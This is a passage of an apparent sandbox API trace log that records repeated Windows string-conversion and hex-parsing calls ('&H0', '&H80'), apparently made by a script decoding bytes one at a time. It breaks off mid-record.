[0061.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.620] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.620] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.621] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.621] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.621] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.621] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.622] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.622] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.623] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.623] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.624] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.624] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.624] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.624] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.625] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.625] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.626] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.626] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.627] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.627] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.627] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.627] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.628] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.628] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.629] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.629] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.630] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.630] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.630] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.630] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.631] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.631] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.632] VarParseNumFromStr (in: strIn="&H80", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.632] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="€") returned 1 [0061.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="€", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="€", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="€", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x80", lpUsedDefaultChar=0x0) returned 1 [0061.633] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.633] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.633] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.633] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.634] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.634] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: 